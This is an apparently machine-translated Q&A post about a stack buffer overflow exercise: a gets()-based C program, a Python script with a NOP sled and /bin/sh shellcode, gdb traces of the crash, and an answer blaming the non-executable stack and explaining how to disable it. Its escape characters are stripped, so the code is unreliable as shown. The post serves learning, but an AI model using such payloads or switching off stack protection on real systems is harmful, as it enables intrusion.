>我试图执行一个带有缓冲区溢出的shellcode。不幸的是,我收到一个分段错误。在以下 c 代码中是 asm 代码和漏洞利用代码:
C 代码:
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
ASM代码:
0x000055555555463a <+0>: push rbp
0x000055555555463b <+1>: mov rbp,rsp
0x000055555555463e <+4>: sub rsp,0x50
0x0000555555554642 <+8>: mov DWORD PTR [rbp-0x44],edi
0x0000555555554645 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x0000555555554649 <+15>: lea rax,[rbp-0x40]
0x000055555555464d <+19>: mov rdi,rax
0x0000555555554650 <+22>: mov eax,0x0
0x0000555555554655 <+27>: call 0x555555554510 <gets@plt>
0x000055555555465a <+32>: mov eax,0x0
0x000055555555465f <+37>: leave
=> 0x0000555555554660 <+38>: ret
漏洞利用代码
import struct
sp = struct.pack("q", 0x007fffffffe1f0)
nops = "x90"*20
Shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc1x89xc2xb0x0bxcdx80x31xc0x40xcdx80"
print "A"*72 + sp + nops + Shellcode
在"ret"cmd之后,翻录会查看堆栈地址"0x007fffffffe1f0"。在此地址中,有NOP指令。现在我希望 rip exec. NOP 直到到达外壳代码。但是我得到了分段错误。在以下我的终端命令中。
Starting program: /root/Desktop/ExerciseExploit/stack5 < ./text
Breakpoint 1, main (argc=1, argv=0x7fffffffe2c8) at stack5.c:11
11 gets(buffer);
(gdb) disas
Dump of assembler code for function main:
0x000055555555463a <+0>: push rbp
0x000055555555463b <+1>: mov rbp,rsp
0x000055555555463e <+4>: sub rsp,0x50
0x0000555555554642 <+8>: mov DWORD PTR [rbp-0x44],edi
0x0000555555554645 <+11>: mov QWORD PTR [rbp-0x50],rsi
=> 0x0000555555554649 <+15>: lea rax,[rbp-0x40]
0x000055555555464d <+19>: mov rdi,rax
0x0000555555554650 <+22>: mov eax,0x0
0x0000555555554655 <+27>: call 0x555555554510 <gets@plt>
0x000055555555465a <+32>: mov eax,0x0
0x000055555555465f <+37>: leave
0x0000555555554660 <+38>: ret
End of assembler dump.
(gdb) x/32x $rsp
0x7fffffffe190: 0xffffe2c8 0x00007fff 0xf7abe905 0x00000001
0x7fffffffe1a0: 0x00000001 0x00000000 0x555546bd 0x00005555
0x7fffffffe1b0: 0xf7de70e0 0x00007fff 0x00000000 0x00000000
0x7fffffffe1c0: 0x55554670 0x00005555 0x55554530 0x00005555
0x7fffffffe1d0: 0xffffe2c0 0x00007fff 0x00000000 0x00000000
0x7fffffffe1e0: 0x55554670 0x00005555 0xf7a3fa87 0x00007fff
0x7fffffffe1f0: 0x00000000 0x00000000 0xffffe2c8 0x00007fff
0x7fffffffe200: 0x00040000 0x00000001 0x5555463a 0x00005555
(gdb) i r rsp rbp rip
rsp 0x7fffffffe190 0x7fffffffe190
rbp 0x7fffffffe1e0 0x7fffffffe1e0
rip 0x555555554649 0x555555554649 <main+15>
(gdb) c
Continuing.
Breakpoint 2, 0x0000555555554660 in main (argc=1, argv=0x7fffffffe2c8) at stack5.c:12
12 }
(gdb) x/32x $rsp
0x7fffffffe1e8: 0xffffe1f0 0x00007fff 0x90909090 0x90909090
0x7fffffffe1f8: 0x90909090 0x90909090 0x90909090 0x6850c031
0x7fffffffe208: 0x68732f2f 0x69622f68 0x89e3896e 0xb0c289c1
0x7fffffffe218: 0x3180cd0b 0x80cd40c0 0x55554500 0x00005555
0x7fffffffe228: 0xffffe2c0 0x00007fff 0x00000000 0x00000000
0x7fffffffe238: 0x00000000 0x00000000 0x28cb0792 0xb3964c1b
0x7fffffffe248: 0x1f550792 0xb3965ca3 0x00000000 0x00000000
0x7fffffffe258: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) r < ./text
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/ExerciseExploit/stack5 < ./text
Breakpoint 1, main (argc=1, argv=0x7fffffffe2c8) at stack5.c:11
11 gets(buffer);
(gdb) disas
Dump of assembler code for function main:
0x000055555555463a <+0>: push rbp
0x000055555555463b <+1>: mov rbp,rsp
0x000055555555463e <+4>: sub rsp,0x50
0x0000555555554642 <+8>: mov DWORD PTR [rbp-0x44],edi
0x0000555555554645 <+11>: mov QWORD PTR [rbp-0x50],rsi
=> 0x0000555555554649 <+15>: lea rax,[rbp-0x40]
0x000055555555464d <+19>: mov rdi,rax
0x0000555555554650 <+22>: mov eax,0x0
0x0000555555554655 <+27>: call 0x555555554510 <gets@plt>
0x000055555555465a <+32>: mov eax,0x0
0x000055555555465f <+37>: leave
0x0000555555554660 <+38>: ret
End of assembler dump.
(gdb) x/32x $rsp
0x7fffffffe190: 0xffffe2c8 0x00007fff 0xf7abe905 0x00000001
0x7fffffffe1a0: 0x00000001 0x00000000 0x555546bd 0x00005555
0x7fffffffe1b0: 0xf7de70e0 0x00007fff 0x00000000 0x00000000
0x7fffffffe1c0: 0x55554670 0x00005555 0x55554530 0x00005555
0x7fffffffe1d0: 0xffffe2c0 0x00007fff 0x00000000 0x00000000
0x7fffffffe1e0: 0x55554670 0x00005555 0xf7a3fa87 0x00007fff
0x7fffffffe1f0: 0x00000000 0x00000000 0xffffe2c8 0x00007fff
0x7fffffffe200: 0x00040000 0x00000001 0x5555463a 0x00005555
(gdb) i r rsp rbp rip
rsp 0x7fffffffe190 0x7fffffffe190
rbp 0x7fffffffe1e0 0x7fffffffe1e0
rip 0x555555554649 0x555555554649 <main+15>
(gdb) c
Continuing.
Breakpoint 2, 0x0000555555554660 in main (argc=1, argv=0x7fffffffe2c8) at stack5.c:12
12 }
(gdb) disas
Dump of assembler code for function main:
0x000055555555463a <+0>: push rbp
0x000055555555463b <+1>: mov rbp,rsp
0x000055555555463e <+4>: sub rsp,0x50
0x0000555555554642 <+8>: mov DWORD PTR [rbp-0x44],edi
0x0000555555554645 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x0000555555554649 <+15>: lea rax,[rbp-0x40]
0x000055555555464d <+19>: mov rdi,rax
0x0000555555554650 <+22>: mov eax,0x0
0x0000555555554655 <+27>: call 0x555555554510 <gets@plt>
0x000055555555465a <+32>: mov eax,0x0
0x000055555555465f <+37>: leave
=> 0x0000555555554660 <+38>: ret
End of assembler dump.
(gdb) x/32x $rsp
0x7fffffffe1e8: 0xffffe1f0 0x00007fff 0x90909090 0x90909090
0x7fffffffe1f8: 0x90909090 0x90909090 0x90909090 0x6850c031
0x7fffffffe208: 0x68732f2f 0x69622f68 0x89e3896e 0xb0c289c1
0x7fffffffe218: 0x3180cd0b 0x80cd40c0 0x55554500 0x00005555
0x7fffffffe228: 0xffffe2c0 0x00007fff 0x00000000 0x00000000
0x7fffffffe238: 0x00000000 0x00000000 0xce4eb570 0x5565c335
0x7fffffffe248: 0xf9d0b570 0x5565d38d 0x00000000 0x00000000
0x7fffffffe258: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) i r rsp rbp rip
rsp 0x7fffffffe1e8 0x7fffffffe1e8
rbp 0x4141414141414141 0x4141414141414141
rip 0x555555554660 0x555555554660 <main+38>
(gdb) si
0x00007fffffffe1f0 in ?? ()
(gdb) x/32x $rsp
0x7fffffffe1f0: **0x90909090** 0x90909090 0x90909090 0x90909090
0x7fffffffe200: 0x90909090 0x6850c031 0x68732f2f 0x69622f68
0x7fffffffe210: 0x89e3896e 0xb0c289c1 0x3180cd0b 0x80cd40c0
0x7fffffffe220: 0x55554500 0x00005555 0xffffe2c0 0x00007fff
0x7fffffffe230: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe240: 0xce4eb570 0x5565c335 0xf9d0b570 0x5565d38d
0x7fffffffe250: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe260: 0x00000000 0x00000000 0xffffe2d8 0x00007fff
(gdb) i r rsp rbp rip
rsp 0x7fffffffe1f0 0x7fffffffe1f0
rbp 0x4141414141414141 0x4141414141414141
rip **0x7fffffffe1f0** 0x7fffffffe1f0
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe1f0 in ?? ()
提示:我正在使用 Kali Linux
谁能告诉我我做错了什么?谢谢大家!
我做错了什么?
默认情况下,所有现代 Linux 发行版都阻止从堆栈执行代码(正是为了防止这种溢出变成攻击(。
您可以通过查看/proc/$pid/maps
中的保护位来验证是否正在发生的事情(堆栈应具有rw
权限,但没有x
(。
您可以使用 gcc foo.c -Wl,-z,execstack
或使用 execstack 实用程序禁用此预防。